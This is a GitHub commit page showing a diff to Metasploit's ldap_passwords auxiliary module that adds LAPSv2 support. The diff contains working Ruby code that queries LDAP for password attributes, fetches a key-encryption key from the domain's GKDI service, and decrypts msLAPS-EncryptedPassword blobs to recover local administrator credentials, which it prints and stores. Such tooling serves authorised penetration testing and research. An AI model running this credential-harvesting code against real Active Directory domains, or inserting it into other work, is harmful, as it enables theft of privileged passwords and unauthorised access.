Skip to content

Commit 418e8e0

Browse files
committed
Add LAPSv2 support to ldap_paswords
1 parent 1dfd3fd commit 418e8e0

File tree

1 file changed

+181
-4
lines changed

1 file changed

+181
-4
lines changed

modules/auxiliary/gather/ldap_passwords.rb

Lines changed: 181 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,17 +3,21 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6+
require 'rasn1'
7+
68
class MetasploitModule < Msf::Auxiliary
79

810
include Msf::Auxiliary::Scanner
911
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::MsGkdi
1013
include Msf::Exploit::Remote::LDAP
1114
include Msf::OptionalSession::LDAP
1215

1316
include Msf::Exploit::Deprecated
1417
moved_from 'auxiliary/gather/ldap_hashdump'
1518

16-
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
19+
LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800'.freeze
20+
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
1721

1822
def initialize(info = {})
1923
super(
@@ -58,10 +62,71 @@ def initialize(info = {})
5862
])
5963
end
6064

65+
def session?
66+
defined?(:session) && session
67+
end
68+
6169
def print_prefix
70+
return "#{Rex::Socket.to_authority(session.client.host, session.client.port)} - " if session?
71+
6272
"#{peer.ljust(21)} - "
6373
end
6474

75+
def get_ad_ds_domain_info(ldap)
76+
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
77+
78+
root_dse = ldap.search(
79+
ignore_server_caps: true,
80+
base: '',
81+
scope: Net::LDAP::SearchScope_BaseObject,
82+
attributes: %i[configurationNamingContext supportedCapabilities supportedExtension]
83+
)&.first
84+
85+
unless root_dse[:supportedcapabilities].map(&:to_s).include?(LDAP_CAP_ACTIVE_DIRECTORY_OID)
86+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
87+
return nil
88+
end
89+
90+
unless root_dse[:supportedextension].include?(Net::LDAP::WhoamiOid)
91+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
92+
return nil
93+
end
94+
95+
print_status('The target LDAP server is an Active Directory Domain Controller.')
96+
97+
unless ldap.search(base: '', filter: '(objectClass=domain)').nil?
98+
# this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
99+
# means we'll be getting information from more than one domain which breaks some core assumptions
100+
# see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
101+
fail_with(Msf::Module::Failure::NoTarget, 'The target LDAP server is a Global Catalog.')
102+
end
103+
104+
# our_domain, _, our_username = ldap.ldapwhoami.to_s.delete_prefix('u:').partition('\\')
105+
106+
target_domains = ldap.search(
107+
base: root_dse[:configurationnamingcontext].first.to_s,
108+
filter: "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ldap.base_dn}))"
109+
)
110+
unless target_domains.present?
111+
fail_with(Msf::Module::Failure::NotFound, 'The target LDAP server did not return its NETBIOS domain name.')
112+
end
113+
114+
unless target_domains.length == 1
115+
fail_with(Msf::Module::Failure::NotFound, "The target LDAP server returned #{target_domains.length} NETBIOS domain names.")
116+
end
117+
118+
target_domain = target_domains.first
119+
120+
{
121+
netbios_name: target_domain[:netbiosname].first.to_s,
122+
dns_name: target_domain[:dnsroot].first.to_s
123+
}
124+
end
125+
126+
def ad_domain?
127+
@ad_ds_domain_info.nil?
128+
end
129+
65130
# PoC using ldapsearch(1):
66131
#
67132
# Retrieve root DSE with base DN:
@@ -89,6 +154,8 @@ def run_host(_ip)
89154
vprint_status("Using the '#{datastore['USER_ATTR']}' attribute as the username")
90155
end
91156

157+
@ad_ds_domain_info = get_ad_ds_domain_info(ldap)
158+
92159
print_status("Searching base DN: #{base_dn}")
93160
entries_returned += ldap_search(ldap, base_dn, base: base_dn)
94161
end
@@ -106,10 +173,12 @@ def run_host(_ip)
106173
def ldap_search(ldap, base_dn, args)
107174
entries_returned = 0
108175
creds_found = 0
176+
# TODO: use a filter when we're targeting AD DS
109177
def_args = {
110-
base: '',
111178
return_result: false,
112-
attributes: %w[* + -]
179+
scope: Net::LDAP::SearchScope_WholeSubtree,
180+
# build a filter that searches for any object that contains at least one of the attributes we're interested in
181+
filter: "(|#{password_attributes.map { "(#{_1}=*)" }.join})"
113182
}
114183

115184
begin
@@ -233,6 +302,12 @@ def process_hash(entry, attr)
233302
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
234303
# In the meantime, dump the base64 encoded value.
235304
private_data = Base64.strict_encode64(private_data)
305+
when 'mslaps-encryptedpassword'
306+
lapsv2 = process_result_lapsv2_encrypted(entry)
307+
next if lapsv2.nil?
308+
309+
username = lapsv2['n']
310+
private_data = lapsv2['p']
236311
when 'userpkcs12'
237312
# if we get non printable chars, encode into base64
238313
if (private_data =~ /[^[:print:]]/).nil?
@@ -271,7 +346,7 @@ def process_hash(entry, attr)
271346
# highlight unresolved hashes
272347
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
273348

274-
print_good("Credentials (#{jtr_format || 'password'}) found in #{attr}: #{username}:#{private_data}")
349+
print_good("Credentials (#{jtr_format.blank? ? 'password' : jtr_format}) found in #{attr}: #{username}:#{private_data}")
275350

276351
report_creds(username, private_data, jtr_format)
277352
creds_found += 1
@@ -300,7 +375,109 @@ def report_creds(username, private_data, jtr_format)
300375
username: username
301376
}.merge(service_data)
302377

378+
if @ad_ds_domain_info
379+
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
380+
credential_data[:realm_value] = @ad_ds_domain_info[:dns_name]
381+
end
382+
303383
cl = create_credential_and_login(credential_data)
304384
cl.respond_to?(:core_id) ? cl.core_id : nil
305385
end
386+
387+
def process_result_lapsv2_encrypted(result)
388+
if session?
389+
print_warning('Can not obtain LAPSv2 decryption keys when running with an existing session.')
390+
return
391+
end
392+
393+
encrypted_block = result['msLAPS-EncryptedPassword'].first
394+
395+
encrypted_blob = LAPSv2EncryptedPasswordBlob.read(encrypted_block)
396+
content_info = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(encrypted_blob.buffer.pack('C*'))
397+
encrypted_data = encrypted_blob.buffer[content_info.to_der.bytesize...].pack('C*')
398+
enveloped_data = content_info.enveloped_data
399+
recipient_info = enveloped_data[:recipient_infos][0]
400+
kek_identifier = recipient_info[:kekri][:kekid]
401+
402+
key_identifier = kek_identifier[:key_identifier]
403+
key_identifier = GkdiGroupKeyIdentifier.read(key_identifier.value)
404+
405+
other_key_attribute = kek_identifier[:other]
406+
unless other_key_attribute[:key_attr_id].value == '1.3.6.1.4.1.311.74.1'
407+
vprint_error('msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.')
408+
return
409+
end
410+
411+
ms_key_attribute = MicrosoftKeyAttribute.parse(other_key_attribute[:key_attr].value)
412+
kv_pairs = ms_key_attribute[:content][:content][:content][:kv_pairs]
413+
sid = kv_pairs.value.find { |kv_pair| kv_pair[:name].value == 'SID' }[:value]&.value
414+
415+
sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(
416+
"O:SYG:SYD:(A;;CCDC;;;#{sid})(A;;DC;;;WD)",
417+
domain_sid: sid.rpartition('-').first
418+
)
419+
420+
if @gkdi_client.nil?
421+
@gkdi_client = connect_gkdi(username: datastore['LDAPUsername'], password: datastore['LDAPPassword'])
422+
end
423+
424+
begin
425+
kek = gkdi_get_kek(
426+
client: @gkdi_client,
427+
security_descriptor: sd,
428+
key_identifier: key_identifier
429+
)
430+
rescue StandardError => e
431+
elog('Failed to obtain the KEK from GKDI', error: e)
432+
print_error("Failed to obtain the KEK from GKDI: #{e.class} - #{e}")
433+
return nil
434+
end
435+
436+
algorithm_identifier = content_info.enveloped_data[:encrypted_content_info][:content_encryption_algorithm]
437+
# TODO: validate that AES-GCM is in use
438+
iv = algorithm_identifier.gcm_parameters[:aes_nonce].value
439+
encrypted_key = recipient_info[:kekri][:encrypted_key].value
440+
441+
key = Rex::Crypto::KeyWrap::NIST_SP_800_38f.aes_unwrap(kek, encrypted_key)
442+
443+
cipher = OpenSSL::Cipher::AES.new(key.length * 8, :GCM)
444+
cipher.decrypt
445+
cipher.key = key
446+
cipher.iv_len = iv.length
447+
cipher.iv = iv
448+
cipher.auth_tag = encrypted_data[-16...]
449+
plaintext = cipher.update(encrypted_data[...-16]) + cipher.final
450+
JSON.parse(RubySMB::Field::Stringz16.read(plaintext).value)
451+
end
452+
453+
# https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
454+
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
455+
class LAPSv2EncryptedPasswordBlob < BinData::Record
456+
endian :little
457+
458+
file_time :timestamp
459+
uint32 :buffer_size
460+
uint32 :flags
461+
uint8_array :buffer, initial_length: :buffer_size
462+
end
463+
464+
class MicrosoftKeyAttribute < RASN1::Model
465+
class Sequence < RASN1::Model
466+
class KVPairs < RASN1::Model
467+
sequence :content, content: [
468+
utf8_string(:name),
469+
utf8_string(:value)
470+
]
471+
end
472+
473+
sequence :content, constructed: true, content: [
474+
sequence_of(:kv_pairs, KVPairs)
475+
]
476+
end
477+
478+
sequence :content, content: [
479+
objectid(:key_attr_id),
480+
model(:key_attr, Sequence)
481+
]
482+
end
306483
end

0 commit comments

Comments
 (0)